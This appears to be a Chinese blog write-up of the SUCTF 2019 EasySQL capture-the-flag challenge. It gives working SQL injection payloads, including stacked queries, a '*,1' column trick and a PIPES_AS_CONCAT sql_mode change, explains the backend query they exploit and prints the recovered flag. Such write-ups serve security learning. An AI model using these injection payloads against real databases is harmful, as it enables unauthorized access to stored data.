[SUCTF 2019]EasySQL

[SUCTF 2019]EasySQL

1、sql注入的题目,看看是什么注入

2、先进行字符型SQL注入

1'

发现注入不成功,不是字符型SQL注入

3、尝试数字型SQL注入

1

确认是数字型SQL注入

4、查看所有数据库,堆叠查询

1;show databases;

没有发现flag

5、查看所有表,堆叠查询

1;show tables;

找到Flag表

但是怎么把Flag表中列的内容输出出来是一个问题

6、解答

方法一

select $_GET['query'] || flag from Flag

这是后端语句

当我们输入 *,1,传入后端的语句为

select *,1 || flag from Flag

代码解释:

select * //选择所有列

1 || flag from Flag //SQL中的字符串操作,将数字1转换成字符串“1”,再将字符串1和flag列的内容进行连接,我们会看到除去原来的列,外加一列是1ctf{.....}

flag from Flag //从Flag中拿出flag的内容

总结:查看Flag表中的所有列内容,从表中找到flag和1连接在一起,形成一个新列,而这个新列的列名叫1,由于flag被过滤,所以我们看不到flag的值,但是由于flag的值已经被复制到新的列1,所以得到flag

*,1

方法二

题目内置的是逻辑或者运算符,直接把它改成字符串连接就好了

使用set方法定义sql_mode参数设置,PIPES_AS_CONCAT字符串连接符select 1 查询第一列

1;set sql_mode=PIPES_AS_CONCAT;select 1 //堆叠查询

代码解释:

set sql_mode=PIPES_AS_CONCAT //在MySQL语句中,sql_mode的默认设置通常不包括PIPES_AS_CONCAT,此时,||被视为逻辑或OR(判断,判断其中一个为真,就是真),'a' || 'b'->0,报错,但是修改后,||被视为连接符,'a' || 'b'-> 'ab',后面直接注入select 1 || flag from Flag,flag就出来了
select 1 //直接返回flag值
//PIPES_AS_CONCAT 管道符 || 当作字符串拼接符

flag{c5c621e2-ee78-4e26-a6a4-ffd5e795fc40}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇